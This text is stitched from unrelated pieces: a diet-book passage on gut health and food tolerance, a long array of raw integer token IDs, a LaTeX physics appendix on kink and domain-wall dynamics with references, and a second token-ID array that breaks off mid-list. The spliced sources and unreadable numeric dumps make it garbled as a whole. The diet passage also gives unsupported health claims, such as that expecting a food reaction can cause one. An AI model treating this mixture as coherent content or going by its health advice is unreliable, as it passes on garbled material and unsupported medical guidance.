unique ecosystem. Don't compare yourself to anyone else. If your friend does great on lots of fiber and high-FODMAP foods—good for her. That type of diet may decimate others. So be OK with the diet _you_ feel best on—honor your unique ecosystem. And, yes, even if your friend has great digestion, it doesn't mean you should follow her diet. Some people have it easy, and they will have great digestion no matter what they eat, just like some people will stay thin no matter what they eat. This doesn't mean you should look to these people for dietary advice. Just because some people have been dealt a fortunate genetic hand does not mean they have any clue what they are doing. Trust our Great-in-8 process, and continue to work through it. This will get you to the best and broadest diet for you. #### It is not all or none There tend to be levels of food tolerance. For example, some people can eat dairy in any quantity with absolutely no problem. Others can't have any without feeling lousy. And right in the middle of these people, are those who can have _some_ dairy, but if they have _too_ much, they don't feel well. Just because you don't do well with large quantities of a certain food doesn't mean you need to avoid it 100%. Keep this in mind, because it can help make your diet less restrictive. For example, I mentioned my limitations with espresso earlier. I can do one espresso drink (usually two to three shots), but if I do more than this, my gut is not happy. I also don't seem to digest Brussels sprouts well. I can eat small quantities, but larger servings don't sit well with me. I have no problem with gluten or dairy, but I still don't make gluten a dietary staple. It's probably not a good idea to consume any of the foods you notice a reaction to every day. For example, I don't have espresso every day. If I do, after a while I notice my digestion starts to regress. But this doesn't mean that I can't have one or two espresso drinks in a given week if I'm in the mood, or if I'm traveling and the coffee available looks delicious, that I can't have an espresso drink every day while traveling and then return to my occasional consumption when I get home. Does this make sense? Be flexible with your avoidance of trigger foods, because it will make your life a lot easier, more enjoyable, and tastier. #### Diets are tools, not religions The diets we have covered (Paleo, low FODMAP, lower carb, and the others) are tools to help you more quickly identify foods that might be problematic. Most people end up with a unique blend of helpful observations taken from these diets. Don't worry if you don't follow _all_ the rules for a given diet religiously. Our ultimate goal is to get you to the _broadest_ possible diet. Everyone is different in terms of what their dietary boundaries will be, but everyone has to go through the process of testing these boundaries to see where they are. #### Do not fear food Again, it's important to mention that people will often notice a dramatically increased ability to eat foods that used to bother them after they have worked up to step 5. It's important that we establish this, because some patients get scared into thinking they can never again have a bite of gluten, dairy, high-FODMAP foods, non-Paleo foods, or [insert food here]. This is not true, and this belief is not healthy. Yes, you will likely notice there are some foods you can't eat or can only have in small quantities. But do you remember how powerful placebos are? If you have the belief that you will get sick from a certain food, there is a strong chance you will "placebo" this into being. One of the most freeing and beneficial moments I witness in the clinic is when I tell a patient, "It's OK to test your food boundaries, and I anticipate you will be able to eat many of your 'problem' foods with no problem at all. Enjoy them." #### Setbacks are OK Patients are often afraid of "making a mistake" after working hard to heal their guts. They tend to think that months of work can be undone by a couple of bad meals. This is not true. Remember how important the environment you create for your microbiota is? If you're eating and living healthily most of the time, you will create an environment that fosters a healthy microbiota. Most of the time means it's OK to have occasional deviations. If the police in your city took three afternoons off over the course of a month, would your city suddenly be overrun with crime? No, of course not. Your gut is the same way. It's what you do _most_ of the time that's important, so don't beat yourself up or be fearful that an occasional off-plan meal will be a deal breaker. ##

[ 94, 50276, 3353, 187, 50269, 88, 578, 19, 94, 187, 50276, 61, 423, 92, 14336, 2023, 393, 187, 50276, 61, 8823, 464, 2162, 15996, 30, 187, 50276, 61, 2043, 92, 14336, 94, 187, 50274, 1035, 3214, 578, 89, 94, 66, 2766, 3214, 578, 89, 94, 67, 578, 69, 2311, 87, 1035, 3005, 8744, 1035, 3214, 578, 89, 94, 67, 578, 69, 5960, 187, 50274, 61, 3214, 578, 89, 94, 66, 1572, 3214, 578, 85, 94, 83, 12, 44, 578, 18, 889, 3005, 12, 44, 578, 19, 889, 1464, 12, 44, 578, 20, 94, 50276, 3353, 187, 50274, 1035, 3214, 578, 89, 94, 67, 2766, 3214, 578, 89, 94, 66, 578, 69, 2311, 87, 1035, 3005, 8744, 1035, 3214, 578, 89, 94, 66, 578, 69, 5960, 187, 50274, 61, 3214, 578, 89, 94, 67, 1572, 3214, 578, 85, 94, 83, 12, 44, 24915, 18, 889, 3005, 12, 44, 24915, 19, 889, 1464, 12, 44, 24915, 20, 94, 187, 50276, 61, 423, 92, 14336, 94, 393, 22632, 61, 423, 92, 14856, 2138, 835, 253, 3470, 370, 44, 578, 74, 1603, 89, 13, 85, 1009, 285, 370, 44, 24915, 74, 1603, 89, 13, 85, 10, 393, 313, 74, 30, 18, 13, 19, 13, 20, 1009, 403, 1677, 407, 27, 1764, 2043, 92, 2132, 94, 187, 50276, 44, 578, 18, 94, 8114, 66, 9, 66, 578, 69, 5960, 18, 7415, 19, 6643, 19, 67, 9, 66, 12, 67, 578, 69, 34227, 66, 578, 69, 5960, 18, 8744, 67, 578, 69, 1603, 18, 14, 19, 66, 578, 69, 6643, 67, 768, 19, 2311, 50276, 3353, 187, 50276, 44, 578, 19, 94, 8114, 66, 9, 66, 578, 69, 5960, 18, 7415, 19, 6643, 19, 9, 66, 578, 69, 5960, 18, 2769, 357, 12, 66, 578, 69, 94, 67, 578, 69, 6643, 4482, 578, 69, 42789, 67, 578, 69, 1603, 18, 12, 67, 768, 19, 2311, 50276, 3353, 187, 50276, 44, 578, 20, 94, 8114, 14, 19, 12577, 3214, 578, 89, 1990, 19, 94, 67, 578, 69, 6643, 67, 578, 69, 1603, 20, 66, 768, 19, 6643, 20, 357, 578, 69, 6643, 19, 67, 578, 69, 1990, 19, 5960, 19, 10, 3202, 187, 50276, 44, 24915, 18, 94, 8114, 14, 66, 9, 66, 12, 19, 67, 578, 69, 34227, 66, 578, 69, 5960, 18, 8744, 67, 578, 69, 1603, 67, 578, 69, 5960, 19, 357, 14, 4482, 578, 69, 2311, 50276, 3353, 187, 50276, 44, 24915, 19, 94, 8114, 66, 9, 66, 12, 19, 67, 578, 69, 34227, 66, 578, 69, 5960, 18, 8744, 67, 578, 69, 1603, 19, 357, 12, 4482, 578, 69, 6643, 19, 66, 578, 69, 94, 67, 578, 69, 5960, 67, 578, 69, 2311, 50276, 3353, 187, 50276, 44, 24915, 20, 94, 8114, 14, 19, 12577, 3214, 578, 89, 1990, 19, 94, 66, 578, 69, 6643, 20, 67, 768, 19, 1603, 66, 578, 69, 5960, 18, 8744, 20, 67, 9, 66, 578, 69, 5960, 18, 7415, 19, 6643, 19, 66, 578, 69, 1990, 20, 94, 187, 50269, 14, 20, 66, 578, 69, 1990, 19, 6643, 66, 578, 69, 889, 423, 92, 2132, 2138, 380, 1220, 87, 1430, 1617, 323, 253, 6242, 273, 247, 2900, 3019, 88, 578, 18, 1603, 89, 13, 85, 582, 88, 578, 19, 1603, 89, 13, 85, 18103, 323, 3891, 2574, 27, 3642, 88, 3851, 9563, 1764, 1968, 92, 2574, 27, 1026, 19, 94, 187, 50276, 1035, 8823, 464, 8616, 4799, 21675, 5548, 393, 8823, 464, 2162, 94, 3401, 30, 17, 1890, 835, 669, 8823, 464, 8616, 4799, 21675, 724, 14125, 281, 253, 10295, 273, 253, 6753, 14, 44121, 4872, 8967, 5572, 669, 1588, 92, 45, 3363, 844, 588, 921, 2708, 326, 669, 8823, 464, 8616, 4799, 21675, 724, 310, 5512, 1677, 407, 9722, 3214, 578, 89, 94, 66, 1337, 187, 61, 3214, 578, 89, 94, 67, 7415, 53, 724, 313, 1568, 370, 53, 5, 12853, 253, 811, 7334, 4972, 582, 835, 370, 66, 30, 66, 9, 89, 14, 83, 9, 85, 18103, 285, 370, 67, 30, 67, 9, 89, 14, 83, 9, 85, 18103, 403, 253, 5028, 3402, 10104, 1475, 370, 89, 30, 83, 9, 85, 3822, 187, 187, 510, 806, 4445, 273, 253, 4972, 2367, 1588, 418, 889, 8823, 464, 8616, 4799, 21675, 724, 310, 1677, 407, 27, 1764, 1968, 92, 2574, 27, 3118, 18, 94, 187, 50276, 61, 2043, 92, 9148, 94, 187, 50274, 5716, 1588, 418, 889, 8823, 464, 8616, 4799, 21675, 32998, 18, 94, 7196, 50276, 464, 1588, 187, 50274, 45, 2026, 883, 889, 3214, 578, 89, 94, 66, 23002, 1588, 418, 2026, 805, 889, 3214, 578, 89, 94, 67, 3202, 2490, 50270, 24060, 3214, 578, 89, 1990, 20, 94, 66, 2766, 3214, 578, 89, 94, 66, 14, 20, 9, 66, 12, 67, 578, 69, 25703, 19, 889, 3214, 578, 89, 94, 66, 2249, 1464, 187, 50274, 9, 66, 578, 69, 6643, 67, 14, 18, 7415, 19, 889, 3214, 578, 89, 94, 66, 14, 19, 61, 1464, 313, 66, 12, 67, 578, 69, 34227, 66, 578, 69, 6643, 67, 14, 18, 1572, 3214, 578, 89, 94, 67, 187, 50276, 61, 423, 92, 9148, 2138, 1284, 1048, 347, 326, 253, 4871, 273, 253, 19069, 310, 1199, 4577, 685, 253, 5028, 1979, 313, 1542, 512, 2069, 370, 85, 17673, 359, 476, 1056, 253, 1563, 34754, 27, 370, 357, 578, 69, 94, 187, 61, 9887, 470, 1337, 39951, 578, 69, 94, 393, 9887, 247, 1337, 48557, 578, 69, 94, 393, 9887, 270, 578, 69, 3363, 5076, 13, 436, 9376, 8018, 326, 253, 1885, 273, 253, 4309, 342, 1675, 281, 370, 89, 5, 273, 271, 10896, 2900, 18932, 327, 370, 89, 30, 89, 578, 17, 724, 31458, 407, 1529, 10896, 14728, 247, 2978, 273, 1340, 273, 253, 5028, 1979, 13, 588, 320, 247, 1159, 534, 588, 1379, 2193, 1027, 432, 5058, 760, 275, 247, 1355, 2919, 1475, 370, 89, 30, 89, 578, 17, 3363, 2896, 970, 253, 34754, 1764, 2043, 92, 14856, 94, 187, 50276, 9, 66, 12, 67, 578, 69, 25703, 19, 889, 3214, 578, 89, 94, 66, 393, 9887, 247, 768, 19, 889, 3214, 578, 89, 94, 66, 50276, 3353, 187, 50276, 9, 66, 578, 69, 6643, 67, 14, 18, 7415, 19, 889, 3214, 578, 89, 94, 66, 393, 9887, 270, 768, 19, 889, 3214, 578, 89, 94, 66, 3202, 187, 50276, 9, 66, 12, 67, 578, 67, 34227, 66, 578, 69, 6643, 67, 14, 18, 1572, 3214, 578, 89, 94, 67, 393, 9887, 490, 61, 3214, 578, 89, 94, 67, 187, 61, 423, 92, 14856, 2138, 359, 1089, 27, 1764, 2043, 92, 14856, 94, 187, 50276, 5716, 1588, 418, 889, 8823, 464, 8616, 4799, 21675, 32998, 18, 7628, 3214, 578, 89, 889, 1274, 5709, 3214, 578, 89, 1990, 19, 94, 66, 12, 66, 14, 66, 768, 20, 10780, 1337, 1464, 4615, 270, 768, 19, 94, 66, 61, 918, 9955, 423, 92, 14856, 2138, 21525, 253, 4309, 273, 3891, 2574, 27, 7645, 3851, 342, 1675, 281, 370, 89, 5, 359, 1089, 326, 253, 987, 1133, 1930, 273, 313, 34, 15, 25, 10, 310, 4503, 281, 5058, 672, 253, 10896, 5482, 285, 370, 67, 30, 67, 9, 89, 14, 83, 9, 85, 18103, 403, 7932, 407, 697, 830, 323, 669, 3005, 30, 17, 1352, 7757, 13, 359, 7525, 326, 30780, 1588, 418, 889, 8823, 464, 8616, 4799, 21675, 32998, 18, 4203, 48, 1035, 3005, 3822, 22300, 13, 359, 476, 5276, 326, 30780, 1588, 418, 889, 8823, 464, 8616, 4799, 21675, 32998, 19, 4203, 48, 1035, 3005, 3822, 3813, 13, 387, 8840, 1340, 275, 669, 3005, 1366, 9722, 3214, 578, 89, 94, 66, 1337, 393, 3214, 578, 89, 94, 67, 7415, 53, 724, 14125, 281, 253, 10295, 273, 253, 5572, 669, 1588, 418, 1352, 187, 187, 4125, 359, 476, 10173, 253, 5606, 273, 253, 5028, 1979, 370, 84, 9, 85, 4010, 69, 14, 19, 83, 9, 85, 1009, 949, 253, 1220, 87, 1430, 1617, 3891, 2574, 27, 1026, 19, 8001, 844, 4044, 27, 1764, 1968, 92, 2574, 27, 41635, 907, 94, 187, 50275, 61, 3214, 578, 85, 94, 84, 393, 14829, 393, 2617, 374, 87, 1035, 3005, 17637, 1124, 187, 50275, 92, 187, 50275, 61, 565, 26568, 3259, 4799, 3259, 94, 18747, 313, 73, 578, 66, 8633, 393, 3214, 578, 89, 94, 66, 12, 73, 578, 67, 8633, 393, 3214, 578, 89, 94, 67, 10, 187, 50275, 94, 187, 50275, 92, 187, 50275, 61, 565, 26568, 3259, 4799, 3259, 94, 18747, 544, 1035, 3214, 578, 89, 94, 66, 7415, 19, 6643, 1035, 3214, 578, 89, 94, 67, 7415, 19, 12084, 187, 50275, 2138, 835, 253, 10303, 370, 73, 578, 66, 724, 285, 370, 73, 578, 67, 724, 3469, 2220, 253, 10896, 5482, 370, 66, 5, 285, 370, 67, 5, 285, 253, 1327, 14, 33177, 4764, 669, 3005, 1352, 380, 806, 1307, 273, 253, 987, 1133, 1930, 273, 3891, 2574, 27, 41635, 907, 3851, 6125, 253, 2281, 273, 1818, 273, 253, 5028, 1979, 1955, 281, 1327, 14, 33177, 2538, 534, 2847, 253, 465, 3106, 281, 2118, 387, 247, 3638, 7602, 370, 87, 1035, 3005, 3822, 380, 1273, 1307, 310, 2905, 281, 465, 750, 5016, 15, 496, 253, 1083, 669, 1464, 30, 20, 5, 359, 476, 11897, 11120, 512, 253, 10303, 3206, 275, 3891, 2574, 27, 41635, 907, 3851, 3192, 5750, 273, 253, 16101, 465, 750, 10104, 387, 8840, 1340, 275, 669, 3005, 5, 313, 29813, 3891, 2574, 27, 14983, 39977, 19, 3851, 481, 24709, 271, 7466, 275, 9136, 273, 370, 70, 12886, 2609, 92, 19, 94, 84, 9, 85, 29119, 26179, 760, 253, 4283, 2426, 13, 285, 2530, 326, 669, 3005, 5, 310, 247, 1355, 4764, 13, 359, 4044, 27, 1764, 2043, 92, 14856, 94, 187, 50276, 61, 3214, 578, 85, 94, 84, 2029, 2617, 393, 1124, 464, 3005, 2704, 2609, 92, 19, 27825, 1348, 61, 2609, 92, 19, 94, 70, 12886, 2609, 92, 19, 94, 84, 9, 85, 7398, 423, 92, 14856, 2138, 534, 310, 16186, 15, 575, 7748, 2574, 27, 3281, 8001, 187, 187, 8100, 22731, 23167, 40, 39307, 27, 18598, 1329, 432, 39268, 58, 9190, 313, 49348, 10, 39607, 15192, 3953, 14, 883, 2251, 285, 15192, 3953, 14, 883, 3547, 310, 14969, 15, 187, 187, 60, 740, 1181, 187, 187, 43, 15, 399, 15, 22222, 1299, 13, 353, 15, 5003, 36400, 13, 285, 367, 15, 322, 15, 32706, 8311, 13, 275, 3921, 30335, 4480, 4431, 285, 34448, 34689, 4034, 66, 11661, 16168, 407, 330, 15, 399, 4894, 285, 500, 15, 418, 15, 2070, 11939, 5432, 313, 42228, 280, 13, 4693, 13, 11299, 582, 6845, 15, 854, 15, 187, 187, 34, 15, 378, 1402, 13, 13536, 15, 4111, 15, 4299, 3079, 6257, 34506, 313, 13034, 481, 187, 187, 49, 15, 330, 15, 11826, 864, 4978, 285, 378, 15, 309, 15, 14449, 468, 249, 13, 3555, 15, 4559, 15, 4111, 15, 4299, 2537, 6257, 35543, 313, 20087, 481, 187, 187, 51, 15, 7812, 20232, 13, 444, 15, 26511, 60, 1757, 1181, 79, 26196, 14, 40, 3178, 60, 1950, 1181, 66, 13, 285, 353, 15, 544, 19346, 36400, 3455, 4111, 3737, 399, 4299, 4196, 6257, 7543, 313, 12487, 481, 187, 187, 46, 15, 5003, 36400, 285, 416, 15, 7608, 267, 275, 3921, 10548, 6720, 285, 8256, 48494, 26253, 980, 17128, 11661, 16168, 407, 444, 15, 48669, 2259, 36961, 285, 411, 15, 1503, 7707, 313, 44, 7675, 8358, 27878, 22446, 15, 8210, 10, 285, 10414, 15308, 15, 187, 187, 36, 15, 500, 1730, 254, 395, 285, 322, 15, 42518, 13, 4111, 15, 3555, 15, 12464, 15, 4299, 3141, 6257, 1249, 1010, 313, 12430, 481, 187, 187, 45, 15, 611, 28882, 13, 1503, 15, 4111, 15, 378, 4299, 3156, 6257, 34506, 313, 18263, 558, 418, 15, 611, 28882, 13, 1503, 15, 4111, 15, 378, 4299, 1857, 6257, 22743, 313, 18263, 481, 187, 187, 49, 15, 24369, 1059, 285, 500, 15, 418, 3604, 13, 4111, 15, 3555, 15, 12464, 15, 4299, 2082, 6257, 13620, 19, 313, 13435, 481, 187, 187, 49, 15, 24369, 1059, 13, 330, 15, 3599, 545, 781, 13, 285, 399, 15, 2719, 10422, 13, 4111, 15, 3555, 15, 12464, 15, 4299, 3680, 6257, 37397, 313, 15089, 481, 187, 187, 52, 15, 401, 1952, 306, 285, 473, 15, 596, 780, 13, 4111, 15, 3555, 15, 12464, 15, 4299, 1540, 6257, 35145, 313, 13435, 481, 187, 187, 38, 15, 7612, 251, 13, 4111, 15, 2719, 15, 4299, 22981, 6257, 337, 313, 13895, 481, 187, 187, 58, 15, 16251, 13, 416, 15, 444, 15, 24253, 413, 13, 285, 443, 15, 15344, 10787 ]

} \\ w_{2} \end{pmatrix}, \ \bsy{\phi}'= \begin{pmatrix} (\partial_{x}a+\partial_{x}b_{d})v(\delta)+(\partial_{x}b_{d}- \partial_{x}a)\partial_{t}r+K_{1}\delta+K_{2}\eta+K_{3} \\ (\partial_{x}b+\partial_{x}a_{d})v(\delta)+(\partial_{x}a_{d}- \partial_{x}b)\partial_{t}r+K'_{1}\delta+K'_{2}\eta+K'_{3} \end{pmatrix} \notag\end{gathered}$$ where the functions $K_{i}(x,t)$ and $K'_{i}(x,t) \ (i=1,2,3)$ are given by: $$\begin{aligned} K_{1}&=a(a_{d}-1)^{2}+2b(a+b_{d})(a_{d}-1)+b_{d}(1-2a_{d}+b^{2}) \\ K_{2}&=a(a_{d}-1)^{2}+2(a_{d}-1)(ab+a_{d}b_{d}+bb_{d})+b_{d}(1+b^{2}) \\ K_{3}&=-2\,\partial_{x}^{2}b_{d}+b_{d}(3a^{2}+3ab_{d}+2b_{d}^{2}-2) \\ K'_{1}&=-a(a+2b_{d})(a_{d}-1)+b_{d}(b_{d}-2ab-bb_{d}) \\ K'_{2}&=a(a+2b_{d})(a_{d}-1)+b_{d}(2ab+bb_{d}+2a_{d}b_{d}-b_{d}) \\ K'_{3}&=-2\,\partial_{x}^{2}a_{d}+3b^{2}(a_{d}-1)+3b(a_{d}-1)^{2}+2a_{d}^{3} -3a_{d}^{2}+a_{d}\end{aligned}$$ The solvability condition for the existence of a solution $(w_{1}(x,t),w_{2}(x,t))$ for (\[eq:linw\]) reads $$\label{eq:sc2} (\bsy{\Psi}^{\dag},\ \bsy{\phi}')=0$$ where $\bsy{\Psi}^{\dag}$ belongs to the kernel of the auto-adjoint linear differential operator $\mathcal{L}$. We will show below that $\bsy{\Psi}^{\dag}$ is approximately given by $(\partial_{x}a,\ \partial_{x}b)^{T}$ (here $T$ denotes the transposed vector), where $a=a(x-r(t))$ and $b=b(x-r(t))$ are the domain wall profiles around $x=r(t)$. The first component of the vector ${\mathcal L}\bsy{\Psi}^{\dag}$ is given by: $$\label{eq:comp1} \begin{split} ({\mathcal L}\bsy{\Psi}^{\dag})_{1} &= {\mathcal L}_{11}\partial_{x}a+{\mathcal L}_{12}\partial_{x}b \\ &=\partial_{x}^{3}a+\partial_{x}a-3(a+b_{d})^{2}\partial_{x}a-\eta (a_{d}+b-1)^{2}\partial_{x}a-2\eta (a+b_{d})(a_{d}+b-1)\partial_{x}b \end{split}$$ As long as that the width of the interfaces is much smaller than the domain size (for all times $t$), we can make the following approximations: $ab_{d} \approx 0,\ aa_{d} \approx a,\ bb_{d} \approx b_{d}$. Moreover, this assumption implies that the product of the derivative with respect to $x$ of an amplitude solution centered on $x=x_{0}$ multiplied by another amplitude shifted a length of order of the domain size, will be a function which will take values different from zero only in a small region around $x=x_{0}$. By using the approximations $$\begin{gathered} (a+b_{d})^{2}\partial_{x}a \approx a^{2}\partial_{x}a \\ (a_{d}+b-1)^{2}\partial_{x}a \approx b^{2}\partial_{x}a \\ (a+b_{b})(a_{d}+b-1)\partial_{x}b \approx ab\partial_{x}b \end{gathered}$$ we find: $$\begin{gathered} ({\mathcal L}\bsy{\Psi}^{\dag})_{1}=\partial_{x}\left[\partial_{x}^{2}a+a-a^{3}-\,\eta\, b^{2}a\right]\end{gathered}$$ Taking the derivative of (\[eq:model\]) with respect to $x$ we find that the right hand side of (A.8) is equal to zero when the amplitude solutions and $b=b(x-r(t))$ are replaced by its form for $\delta=0$. Hence, we conclude that $({\mathcal L}\bsy{\Psi}^{\dag})_{1}=O(\delta)$. Likewise, we can prove that $({\mathcal L}\bsy{\Psi}^{\dag})_{2}=O(\delta)$. Therefore, at lowest order in $\delta$, $(\partial_{x}a,\ \partial_{x}b)^{T}$ belongs to the kernel of the operator $\mathcal L$. Now we can calculate the evolution of the domain size $s(t)=d-2r(t)$ through the solvability condition (\[eq:sc2\]). We obtain: $$\label{eq:domsize} \partial_{t}s \cong \pm 2v(\delta)+\frac { \int_{-\infty}^{\infty} dx (h_{a}\, \partial_{x}a+h_{b}\, \partial_{x}b) } { \int_{-\infty}^{\infty} dx [(\partial_{x}a)^{2}+(\partial_{x}b)^{2}] }$$ where the coefficients $h_{a}$ and $h_{b}$ depend upon the amplitude solutions $a$ and $b$ and the non-potential parameter $\delta$. The first term of the right hand side of (\[eq:domsize\]) represents the rate of change of the domain size due to non-potential effects which cause the kinks to move at a constant velocity $v(\delta)$. The second term is related to kink interaction. In the case $\eta=3$ we can compute explicitly all the coefficients involved in (\[eq:domsize\]) taking advantage of the analytical kink profiles at lowest order in $\delta$ (equation (\[eq:analytical2\])). Making an expansion in powers of $e^{-\sqrt{2}s(t)}$, retaining only the leading terms, and provided that $\delta$ is a small parameter, we obtain: $$\begin{gathered} \partial_{t}s=\pm \frac{\delta}{\sqrt{2}}-24\sqrt{2}e^{-\sqrt{2}s(t)}\end{gathered}$$ which is eq. (\[eq:size\]). ACKNOWLEDGMENTS: Financial support from DGYCIT (Spain) Projects PB94-1167 and PB94-1172 is acknowledged. [10]{} J. D. Gunton, M. San Miguel, and P. S. Sahni, in [*Phase Transitions and Critical Phenomena*]{}, edited by C. Domb and J. L. Lebowitz (Academic, London, 1983), Vol. 8. A. Bray, Adv. Phys. [**43**]{}, 357 (1994). P. C. Hohenberg and B. I. Halperin, Rev. Mod. Phys. [**49**]{}, 435 (1977). R. Montagne, E. Hern[á]{}ndez-Garc[í]{}a, and M. [San Miguel]{}, Physica D [**96**]{}, 47 (1996). M. San Miguel and R. Toral in [*Instabilities and Nonequilibrium Structures VI*]{}, edited by E. Tirapegui and W. Zeller (Kluwer Academic Pub. 1997) and references therein. C. Josserand and S. Rica, Phys. Rev. Lett. [**78**]{}, 1215 (1997). L. Kramer, Z. Phys. B [**41**]{}, 357 (1981); L. Kramer, Z. Phys. B [**45**]{}, 167 (1981). P. Coullet and J. Lega, Phys. Rev. Lett. [**65**]{}, 1352 (1990). P. Coullet, C. Elphick, and D. Repaux, Phys. Rev. Lett. [**58**]{}, 431 (1987). S. Fauve and O. Thual, Phys. Rev. Lett. [**64**]{}, 282 (1990). E. Meron, Phys. Rep. [**218**]{}, 1 (1992). Y. Hu, R. E. Ecke, and G. Ahlers

[ 795, 3220, 3331, 16660, 76, 339, 74, 310, 5243, 358, 366, 281, 247, 3416, 665, 369, 38141, 1529, 637, 281, 1379, 617, 1977, 342, 779, 15, 3954, 16660, 76, 339, 74, 285, 521, 5243, 358, 366, 403, 2366, 285, 5211, 3333, 187, 187, 11223, 4115, 29550, 15, 795, 44163, 76, 339, 74, 434, 5243, 358, 366, 369, 275, 2389, 342, 1529, 637, 32, 2064, 3133, 964, 964, 964, 3430, 15, 1737, 497, 253, 5989, 19712, 1500, 369, 27364, 6110, 13, 533, 1014, 625, 13, 703, 3078, 281, 1978, 779, 5015, 15, 187, 187, 64, 42, 513, 417, 871, 1199, 13, 760, 326, 253, 3416, 574, 417, 644, 5686, 2639, 3967, 757, 347, 359, 512, 574, 6566, 285, 326, 253, 20658, 254, 665, 35479, 479, 369, 253, 643, 637, 15, 754, 369, 1966, 671, 387, 581, 673, 15, 754, 369, 49371, 264, 407, 253, 24012, 273, 253, 2639, 3967, 757, 952, 285, 13916, 8885, 13, 253, 24012, 434, 1273, 14, 249, 14, 12467, 15, 733, 2335, 731, 1097, 281, 1978, 779, 39848, 3333, 187, 187, 64, 2347, 8872, 323, 4130, 3333, 187, 187, 2512, 369, 10837, 323, 247, 2774, 15, 795, 42, 2096, 326, 368, 651, 452, 25528, 323, 436, 637, 13, 533, 309, 651, 417, 971, 368, 281, 1287, 10450, 323, 779, 3333, 187, 187, 2993, 29550, 13, 30749, 247, 3102, 4830, 253, 1892, 5308, 5254, 342, 617, 9185, 15, 795, 42, 1053, 626, 1158, 368, 452, 2712, 281, 7664, 670, 15, 754, 2789, 479, 43025, 3333, 187, 187, 64, 1276, 310, 352, 670, 779, 326, 2789, 368, 20032, 19712, 187, 187, 2993, 8156, 703, 369, 4028, 44346, 297, 343, 434, 1416, 327, 253, 5254, 689, 285, 689, 15, 795, 1328, 4453, 387, 479, 347, 604, 344, 6057, 1046, 4279, 309, 452, 390, 588, 2455, 452, 15, 309, 1158, 344, 6057, 670, 253, 2343, 3465, 273, 10238, 309, 26044, 432, 619, 25969, 434, 4657, 672, 309, 369, 4314, 3333, 187, 187, 64, 1394, 26044, 10238, 19712, 187, 187, 64, 42, 369, 44487, 15, 309, 3597, 281, 4076, 9910, 13, 533, 619, 25969, 369, 2238, 273, 247, 27964, 285, 703, 1904, 626, 1663, 971, 479, 275, 617, 2419, 15, 1500, 753, 309, 812, 24516, 253, 5254, 275, 253, 4657, 285, 4076, 512, 253, 5253, 2219, 15, 12526, 13, 703, 1904, 626, 1705, 281, 2075, 479, 390, 1918, 479, 2739, 13, 594, 309, 2335, 767, 2343, 3465, 273, 10238, 15, 13529, 556, 2455, 37907, 594, 1175, 3333, 187, 187, 2512, 369, 247, 1048, 10837, 969, 13, 594, 1048, 4825, 4115, 812, 4089, 617, 2798, 5068, 281, 7171, 1512, 3809, 15, 754, 574, 281, 1978, 5015, 281, 617, 15, 1500, 3058, 253, 3590, 273, 521, 4318, 281, 3216, 617, 15, 1500, 26098, 253, 4876, 273, 521, 1416, 327, 253, 5254, 1264, 2069, 1078, 344, 7560, 15, 187, 187, 64, 4967, 1904, 626, 634, 25969, 1705, 323, 368, 19712, 187, 187, 2993, 18561, 2400, 247, 1652, 342, 6619, 15, 795, 2993, 27215, 247, 2257, 15, 2896, 326, 309, 1599, 1046, 2014, 2360, 13, 271, 2862, 1781, 11996, 273, 49469, 15, 309, 1053, 626, 1158, 703, 12659, 479, 3333, 187, 187, 64, 2513, 703, 1335, 9338, 19712, 187, 187, 2512, 369, 247, 18470, 281, 521, 4318, 15, 329, 12662, 273, 1821, 584, 326, 1160, 617, 439, 2373, 15, 1500, 4395, 896, 1411, 253, 21985, 835, 344, 574, 2206, 253, 4131, 1078, 15, 795, 2302, 15, 1500, 4962, 9648, 2872, 15, 4058, 6728, 1904, 626, 2186, 598, 3333, 187, 187, 64, 2347, 1077, 27949, 323, 617, 3333, 831, 673, 627, 369, 642, 5384, 1170, 253, 4322, 15, 795, 1276, 4592, 281, 368, 32, 8452, 2335, 368, 275, 19712, 187, 187, 2993, 12491, 598, 617, 15746, 285, 5947, 31836, 731, 342, 617, 6174, 13, 15729, 3390, 5972, 15, 795, 2302, 581, 15, 309, 369, 247, 6406, 5772, 751, 20882, 13, 3052, 29173, 13, 34134, 285, 45503, 15, 8948, 326, 434, 2139, 309, 574, 281, 5321, 731, 15, 1244, 253, 6858, 3333, 1500, 1691, 617, 1133, 689, 617, 12607, 4017, 1242, 15, 795, 42, 1620, 574, 247, 1728, 390, 13189, 285, 18903, 15, 6089, 13, 309, 574, 2071, 8879, 15, 1500, 369, 1900, 1175, 281, 479, 15, 1500, 1339, 479, 12394, 275, 617, 14098, 3497, 285, 4600, 627, 10793, 309, 3078, 281, 15, 4058, 3392, 1339, 479, 3297, 285, 5087, 323, 5971, 285, 46772, 15, 4952, 11012, 15, 754, 369, 247, 1175, 637, 3333, 187, 187, 64, 42, 588, 320, 11002, 3517, 13, 4825, 4115, 8291, 44346, 297, 343, 753, 13, 795, 395, 840, 359, 588, 5386, 253, 5780, 27338, 432, 368, 285, 253, 6858, 15, 1737, 359, 403, 1469, 281, 513, 588, 1646, 24851, 15, 1422, 1364, 4517, 479, 29688, 15, 309, 871, 326, 310, 7004, 247, 2257, 672, 368, 12345, 871, 479, 13, 533, 309, 24156, 281, 368, 13, 309, 588, 1978, 368, 4999, 285, 513, 752, 310, 1682, 323, 368, 285, 253, 6858, 3333, 187, 187, 2993, 3078, 581, 2360, 1293, 24851, 15, 2596, 2360, 281, 816, 23233, 15, 1500, 1871, 2183, 253, 5083, 670, 1146, 657, 324, 303, 434, 5243, 358, 366, 285, 670, 8785, 617, 1429, 13, 285, 594, 2080, 13, 642, 581, 574, 13044, 617, 562, 273, 253, 8508, 15, 1583, 3260, 253, 9065, 15, 8948, 597, 651, 1642, 617, 281, 3553, 13, 533, 703, 3260, 326, 44346, 297, 343, 651, 564, 342, 617, 15, 1500, 5082, 626, 564, 3815, 15, 187, 187, 64, 1231, 452, 281, 513, 436, 11608, 19712, 1292, 703, 3260, 597, 858, 15, 1500, 369, 275, 3076, 5281, 15, 1500, 4571, 626, 6008, 390, 4600, 15, 754, 651, 1379, 581, 1007, 387, 617, 285, 871, 15, 187, 187, 64, 4374, 15, 657, 324, 303, 588, 3819, 323, 368, 15, 844, 1364, 755, 1046, 2014, 581, 273, 521, 44457, 398, 562, 273, 368, 285, 253, 6858, 15, 733, 588, 1379, 512, 273, 441, 281, 1614, 368, 1293, 3075, 594, 253, 6858, 588, 11883, 3333, 187, 187, 64, 22529, 479, 32, 6975, 21438, 285, 2071, 8879, 3333, 1500, 2372, 617, 5541, 1892, 15, 1500, 3260, 703, 369, 973, 327, 617, 1039, 15, 1500, 3164, 369, 625, 35740, 390, 2639, 3967, 757, 685, 1966, 15, 795, 510, 6858, 13, 44346, 297, 343, 15, 1500, 434, 9606, 2217, 15, 2071, 